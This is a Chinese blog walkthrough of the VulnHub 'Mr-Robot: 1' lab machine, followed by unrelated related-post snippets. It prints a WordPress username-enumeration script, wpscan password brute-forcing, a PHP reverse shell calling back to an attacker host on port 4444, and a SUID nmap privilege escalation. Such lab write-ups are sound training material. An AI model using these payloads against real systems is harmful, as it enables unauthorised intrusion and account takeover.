代码编织梦想

简介

靶机介绍:根据演练,机器人先生。 此VM具有隐藏在不同位置的三个Key。 您的目标是找到全部三个。 每个Key逐渐难以找到。 该级别被认为是初学者-中级。
下载地址:Mr-Robot: 1 ~ VulnHub
PS:这个靶机的WEB界面炫酷的一批!大家可以去看看!

运用的知识点

Python脚本验证Wordpress用户是否存在
wpscan爆破用户密码
Wordpress后台编辑页面处Getshell
Nmap提权

信息搜集

拿到靶机先是对目标 IP 进行了端口扫描探测:

1
nmap -A -T4 192.168.159.131

由上图可见,它开放了 80(http)、443(https)两个端口,其中 22(ssh)是关闭了的!

我们先从他的 80 端口开始下手,打开它的页面是牛逼吊炸天的特效:

我先后输入了他的 Commands 参数发现没有什么作用:

1
2
3
4
5
6
prepare
fsociety
inform
question
wakeup
join

然后尝试了一波看看能不能执行命令但是也失败了(我傻逼了,前端JS的特效我去执行命令233333):

获取Key-1

这个时候在它的”炫酷”页面上没必要浪费时间,我习惯性的看他 robots.txt 文件发现了两个文件:

这个时候成功获取到第一个 Key,而且还得到了一个类似字典文件:fsocity.dic

接下来我直接去扫他的目录文件看看有没有什么突破点:

1
python3 dirsearch.py -u http://192.168.159.131/ -e .php -x 301,302,403

获取Key2-Wordpress后台Getshell

扫描出来后看到网站目录很像是 Wordpress 搭建的网站,我们先验证一下看看:

1
http://192.168.159.131/wp-admin

很显然他的 CMS 就是 Wordpress ,那么我们就可以使用 KALI 上自带的 wpscan 来对它进行简单的扫描看看存在哪些用户:

1
wpscan --url http://192.168.159.131/ -e u

但是扫描出来后发现没用得到一些用户,这个时候容我点燃一支眼理理思路:刚刚我们得到了一个字典文件,是不是要让我们利用那个字典去进入到网站的后台?

按照这个思路,我是用 Python 写了一个小脚本来验证探测有那些用户:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

open_file = open('fsocity.dic', 'r')
temp = open_file.read().splitlines()
count = 0
for username in temp:
    payload = {'log': '{0}'.format(username), 'pwd': 'dummy'}
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    cookies = dict(wordpress_test_cookie='WP+Cookie+check')
    r = requests.post("http://192.168.159.131/wp-login.php", data=payload, headers=headers, cookies=cookies)
    if "Invalid username" not in r.text:
        print username

运行完脚本后我发现它有一个用户为 Elliot,这正是《黑客军团》的主角名字,既然有了用户名那么我们就可以对它进行爆破密码:

1
wpscan --url 192.168.159.131 -U elliot -P /root/Downloads/fsocity.dic -t 20

爆破成功得到了 elliot 的密码为 ER28-0652!随后我拿着密码登陆到了后台来到编辑页面处:Appearance-Editor,然后我写入了反弹shellphp

1
2
3
4
5
6
7
8
9
10
11
<?php
$sock=fsockopen('192.168.159.128',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

保存之后我们 nc 监听 4444 端口,然后访问 404.php 反弹得到一个 shell

先是让他获取到一个 bash 的shell环境:

1
python -c 'import pty;pty.spawn("/bin/bash")'

然后设置一下环境变量这样我们就可以清屏了(clean):

1
export TERM=screen 

之后我来到 home 目录下发现了一个 robot 用户,在 robot 目录下发现了两个文件:

key-2-of-3.txt 我们没权限所以无法打开,但是打开 password.raw-md5 是可以查看的:

1
robot:c3fcd3d76192e4007dfb496cca67e13b

看上去像一段 MD5 的密文,紧接着我拿去解密 hash 得到密码:

1
abcdefghijklmnopqrstuvwxyz

拿到密码成功切换到 robot 用户:

获取Key3-权限提升

这个时候我们就可以查看第二个 Key 文件了:

还差最后一个!因此我们需要提权,我首先是看看有没有 SUID 权限的可执行的二进制文件:

1
find / -type f -perm -u=s 2>/dev/null

执行完命令发现了有一个 nmap ,这个时候我们就可以利用它来提权:

1
2
/usr/local/bin/nmap --interactive
!sh

最后也是成功在 /root 目录下拿到了第三个Key完成这次渗透测试!

交流群:

 微信公众号:

 知识星球:

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_36304918/article/details/124707989

robotframework 调xml库解析xml文件时只支持utf-8编码格式的问题_jameshuang_i的博客-爱代码爱编程_xml指定utf8编码

使用XML解析GBK编码格式的xml文件时,会报错 ValueError: multi-byte encodings are not supported Robotframework中的代码 ${xml} parse x

robotframework-ride on mac环境搭建篇(macos high sierra)_jorah_bronn的博客-爱代码爱编程

RF-RIDE在Windows上搭建,网上有很多的帖子,关于Mac的帖子我也学习过,可能因为环境不同,有些坑在那些帖子里没有看到,写一个记录一下。 搭建思路 RF底层是Python,相关的环境都需要基于Python环境来

fooddelivered-robot---送餐机器人(一)汇总贴_sumjess的博客-爱代码爱编程

FoodDelivered-Robot---送餐机器人(一)汇总贴 做一份笔记,大佬勿喷。 作者:sumjess   本番外主要讲一下后面博客的写法。   由于个人想做一个产品级别的东西,所以自己打算做个东西玩玩,特此想到这方面的东西。所以大致博客会分一下几个步骤来讲解学者自己制作的过程,方便自己记录,也方便其他读者借鉴和新手入门。 (1)F

python笔记5--python3.6 安装robotframework及wxsystemsettingsnative错误-爱代码爱编程

python笔记5--python3.6 安装robotframework及wxSystemSettingsNative错误   Robot Framework(RF)是一款用python编写的功能自动化测试框架,其具备良好的扩展性,支持关键字驱动,可以同时测试多种类型的客户端或者接口,也可以进行分布式测试,主要用于轮次很多的验收测试和验收测试驱动开发

vulhub - mr. robot 1 writeup-爱代码爱编程

主机来源:www.vulnhub.com 下载链接:https://download.vulnhub.com/mrrobot/mrRobot.ova 准备工作 下载.ova文件,直接双击即可安装成功。 设置连接方式为NAT,攻击机器使用kali,也设置为NAT。 发现IP 刚安装的虚拟机并不知道IP地址,使用netdiscove

No.23-VulnHub-Mr-Robot: 1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Mr-Robot: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/mr-robot-1,151/ 靶机难度:中级(CTF) 靶机发布日期:2016年6月28日 靶机描述:根据表演,机器人先生。 此VM具有隐藏在不同位置的三个键。您的目标是找到全部三个。每个密钥逐渐难以找到

和oscp相似的靶机-hackthebox & vulnhub (OSCP-LIKE HACKTHEBOX & VULNHUB)-爱代码爱编程

每台都尽量做一做,然后记录在博客里.供自己和大家一起学习. 网站来源。在google上,要那个才能打开。方便大家复制,我又把vulnhub的地址复制粘贴到文末了 hackthebox要去官网上。搜这些机子 我觉得htb的质量比vuln高多了,后者太多ctf猜谜语一样 Kioptrix: Level 1 (#1): https://www.vul

vulnhub靶机-mrRobot-爱代码爱编程

下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ 描述: Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each

靶机渗透-Vulnhub-mrRobot-爱代码爱编程

靶机:raven   IP:172.16.10.107 攻击机:Kali  IP:172.16.10.108 下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ 描述: 大概意思:需要找到三个隐藏的key 1、Nmap探测目标端口和服务 2、访问一下80,443端口,发现内容是一样的

vulnhub靶场,MR-ROBOT: 1-爱代码爱编程

vulnhub靶场,MR-ROBOT: 1 环境准备 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ 攻击机:kali(192.168.109.128) 靶机:MR-ROBOT: 1(192.168.109.190) 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环

看完这篇教你玩转靶机 MR-ROBOT: 1-爱代码爱编程

Vulnhub介绍: Vulnhub 是一个漏洞靶场平台,里面含有大量的靶场镜像,只需要下载虚拟机镜像,导入 VMWare 或者 VirtualBox 即可启动靶场,同时它还提供了 Docker 镜像,可以使用 Docker 直接启动靶场,大大简化了渗透测试人员在搭建各种漏洞靶场时的步骤。 靶机下载: 官网:https://download.vuln

RobotFrameWork-ride安装及出错的解决-爱代码爱编程

1. 安装,默认安装当前稳定版本, pip install robotframework 2.安装可视化工具(目前报错未解决) pip install robotframework-ride 3.查看安装版本 pip list pip install robotframework-requests pip install robotframework-se